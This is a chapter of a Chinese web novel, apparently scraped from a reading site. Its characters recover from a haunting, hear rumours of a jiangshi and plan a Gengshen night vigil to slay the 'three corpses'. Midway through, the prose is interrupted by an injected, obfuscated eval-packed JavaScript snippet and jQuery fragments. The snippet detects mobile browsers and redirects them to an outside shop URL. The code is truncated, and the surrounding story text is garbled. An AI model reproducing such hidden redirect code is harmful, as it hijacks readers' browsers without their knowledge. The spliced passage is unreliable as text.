12.守庚申

作品:《青越观后记

    一觉睡到中午,方善水被客厅里窸窸窣窣的声响吵醒的。


    他推开房门,阳光已经透过落地窗洒了一地。客厅里多了几个陌生人,穿着统一的保洁制服,正弯腰收拾着前一晚留下的狼藉。碎花盆的瓷片被一块块捡进垃圾袋,地面上的朱砂痕迹被用力擦拭着,散落的红绳和铜镜也被归拢到了一处。


    孔阳羽站在一旁,正拿着手机跟什么人通话,商量着赔钱的事,看到方善水,他点了点头,算是打了招呼。


    “善水,你醒了?快过来坐!”闫旭尧的声音从沙发那边传来。


    闫旭尧半靠在沙发上,脸色比昨晚好了不少,虽然还有些苍白,但精神头明显足了,他拍了拍身边的沙发垫,态度比之前热络了不止一星半点。


    闫旭尧提起了至今没有赶到的大师和他表哥,语气感慨地道:“我家里请的大师来不了了,刚跟我表哥打了电话,说大师半路生了重病,他送人去医院暂时来不了了。要不是还有善水你在,我就麻烦了。”


    方善水有些疑惑,“突然生病不过来了?”


    “对啊,还说是高人,听着名头挺响,身体倒是挺差。反正我现在已经没事了,马上就能离开这里,我就让他们不用再过来了,省得折腾。”闫旭尧的语气里带着几分不以为然,似乎觉得家里人请的大师不靠谱吧。


    方善水闻言摇头道,“你现在还不太能离开这里,你之前魂魄被勾走大半,如今魂魄还有些不稳,不能远行,大概还得这里待上一段时间。每天多晒晒太阳,提升亏空的阳气。”


    闫旭尧愣了一下,“还要待多久?”


    旁边的孔阳羽也停下了电话,看向方善水,似乎一刻也不想在这鬼地方多待。


    方善水:“至少一周。看恢复情况。”


    还好时间不算太长,两人松了口气。


    过了一会儿,刘涵和陆金佑也都起来了,客厅已经被保洁人员清理好大半,地面虽然还有些痕迹,但至少能下脚了。


    “走吧,我们出去吃饭。”闫旭尧站起来,活动了一下僵硬的脖子,“这屋里的味儿还没散,换换空气。”


    其他几人也都动身出门。


    保洁阿姨们站在门口目送他们离开,等到几个年轻人的身影消失在拐角,终于忍不住小声嘀咕起来。


    “这几个外地学生,在这别墅里搞什么?”年纪稍长的那个阿姨压着声音,指着门里还没收走的垃圾袋,“你看那些红绳、铜镜,地上还有红色的圈,闻着一股鸡血味,还到处是泥土,他们不会是在搞那种招鬼直播吧?”


    “现在的年轻人啊,就是不知道天高地厚。”另一个阿姨摇着头,双手合十朝屋里拜了拜,“这些神神鬼鬼的东西,也敢随便碰。不敬鬼神,早晚要吃亏的。”


    听到鬼神,正在拖地的一名保洁员凑过来,声音压得很低,“你们知道吗?我们附近有个村子,好像闹了僵尸。”


    “什么?”几个阿姨同时转过头去,脸上又惊又奇,“真的假的?你别瞎说。”


    “我可没瞎说。”那保洁员放下拖把,神神秘秘地道,“我一个表姐就住那个村,她说他们村有个老婆子前些天死了,停灵时忽然诈尸,咬死了她当家的和儿子。听看见的人说,她的嘴巴里有很长的尖牙,指甲能戳穿实木门,可是闹得那个村里鸡飞狗跳的。”


    “哎呀,你别吓人……”


    “谁吓你们了?消息都被封锁了,不让往外传,说是怕引起恐慌。但我表姐亲眼看见的,那被咬死的老头子和他儿子,当夜就被村委会带来的人拉去烧了,想拦都不行。还有穿制服的人,把那村子附近都围起来了,最近说是在搜山,可能是寻找那诈尸跑掉的老婆子。”


    几个阿姨面面相觑,脸色都有些被吓得发白。


    有咬人的僵尸?那不是电视传说里的东西吗?


    而且还跑在外头乱窜??


    “别说了别说了,干活干活。”领头的阿姨摆摆手,打断了这个话题,但自己也忍不住又拜了拜,嘴里小声念叨着“百无禁忌、百无禁忌”。


    ……


    方善水几人正开车在去饭店的路上。


    这次是刘涵开车,一路上,闫旭尧和陆金佑都缠着方善水问东问西,问他那些法术和他梦中学法的事,兴致勃勃地仿佛下一刻就要对方善水叩头就拜,拜师学艺。


    陆金佑摆弄着手机,还说起方善水之前提过的斩三尸的事。


    当时刚听时他不甚在意,昨晚上见方善水露了一手后,熬了一夜也没忘去搜一下什么是斩三尸再睡。


    陆金佑开口道:“善水,你之前跟我提到梦里的老师教你们斩三尸吗?我昨晚睡前特地查了一下,嘿,没想到网上很多流传出来的斩三尸方法,方法还特别简单!”


    闻言,方善水看向他,闫旭尧他们也都好奇地看了过来。


    “三尸是寄居于人体三丹田的灵体、邪祟,属魂灵鬼神之属,以人体谷气为食,常欲令人早死以享祭祀。”陆金佑说到这时兴奋起来,声音都拔高了几分,“之前你说的时候,我以为斩三尸多么高大上,是隐藏的修仙秘诀,没想到现实记载的斩三尸,方法竟然一点都不难!只要在庚申日一整日不睡,就能阻止三尸虫上天告状。”


    方善水点头道:“没错,凡至庚申日,兼夜不卧守之,三尸神就无法离体。三守庚申,三尸惊恐、不敢妄动;七守庚申,三尸灭绝,五脏调和,精神安定,传说司命神会削去死籍、录入长生录。”


    “你知道啊,我还以为你有不知道的事呢。”陆金佑闻言有些失望,不过他很快振奋起来,“那善水你看了日历没有,你有没有发现,后天就是六十天一次的庚申日!善水,你既然知道守庚申的方法,你以前守过吗?满了七次没有,要是没满,明天晚上23点开始,你陪我一起守庚申试试吧,万一真能修仙呢?”


    方善水一愣,看了眼陆金佑递来的手机,后天还真的是庚申日。


    好巧。


    方善水看着陆金佑期盼的眼神道:“好,我也没有守过庚申。我只是好奇,梦里传法的老师为什么问我,我的三尸去哪了。好像我的三尸不在我自己身上似的。”


    “不在身上?”刘涵安静听了半天,此时打趣地插话道,“那会不会是善水你天赋异禀,仙人之姿,三尸早已斩除,却自己不知?”<


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17376617|200069||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    p>方善水摇头,这点他倒是可以肯定,他应该还没有修行到成功斩除三尸的地步。


    而且他总觉得,他若是要斩三尸,可能并不像典籍中记载的这么简单。


    ……会非常困难。


    陆金佑忽然一拍手掌,“善水,不在你身上,你就观想出来呀。”


    观想出来?


    方善水闻言一怔,看向陆金佑。


    “你不是梦中学法又会道术吗?你看这个存思观想的斩三尸方法,说是可以存思三尸形相——如上尸青面小儿、中尸赤鳞蛇妖、下尸黑毛山魈,然后以神光照破执念,直接炼除邪祟。”陆金佑说得头头是道,“所以,它们要是不在你身体里,你可以提前观想它们把它们揪回来,然后我们再守庚申,斩三尸,确保它们不能肆意上天告状!”


    方善水沉吟片刻,对照自己脑海中的认知,他发现陆金佑的随口一说的方法,似乎真的很可行。


    方善水:“你说得……真有道理。是我没想过的角度。”


    “是吧。”陆金佑闻言顿时很是得意。


    “行。”方善水把陆金佑递来的手机还给他,点了点头,“那就明晚开始试试。”


    陆金佑激动地差点跳起来,“说好了!咱们明天晚上11点开始,我们一天两夜不睡,奋战到底!”


    方善水欲言又止,见他这么激动,到底是没有泼凉水。


    守庚申的方法是针对修道之人,陆金佑没有修行,斩三尸对他可能只有一些延寿的作用?但是生死簿上普通人寿命早定,这种延寿大概也就是提升心性,炼化欲望,让他老年时身体好一些。


    闫旭尧在旁边听着,似乎也被陆金佑说得激动起来,当即也想加入一起尝试,但是被方善水一口否决了。


    方善水:“你如今魂魄还没稳,不适合参与这个,你可以等下一个庚申日。好好休养,等身体恢复了再说。”


    闫旭尧的脸一下子垮了下来,张了张嘴想说什么,最后还是蔫蔫地闭上了嘴。


    孔阳羽和刘涵看了一眼,顿时安慰闫旭尧,下次他们仨一起。


    陆金佑也没勉强,又转过头去继续和方善水讨论明天晚上守庚申的细节了。


    几人下了车,一边说话,一边进了镇上最大的饭店。


    饭店上下两层,一楼散座已经坐了不少人,烟气缭绕,人声嘈杂。


    方善水他们跟着接待上了楼,没有注意楼下角落里,一个端着茶杯正在慢慢喝茶的中年男子,奇怪地抬头看向几人。


    男人大概四十岁左右,额头上有很深一道奇怪线纹。


    他穿着一件深灰色的夹克,面容普通,是那种扔进人群里就找不到的长相。一双眼睛微微眯着,看起来未语先笑,却给人一种说不清道不明的锐利笑面虎感。


    男子放下了茶杯,盯着闫旭尧的背影看了几秒,嘴角微微翘起,露出一丝意味不明的笑。


    “竟然没死?”


    他的声音平淡,却有几分玩味,“还挺命大。”


    “师爷,谁没死?”旁边正忙着给男人端茶倒水的薛凉抬头,正好看到了方善水的背影,当即就是一怒,“是他!”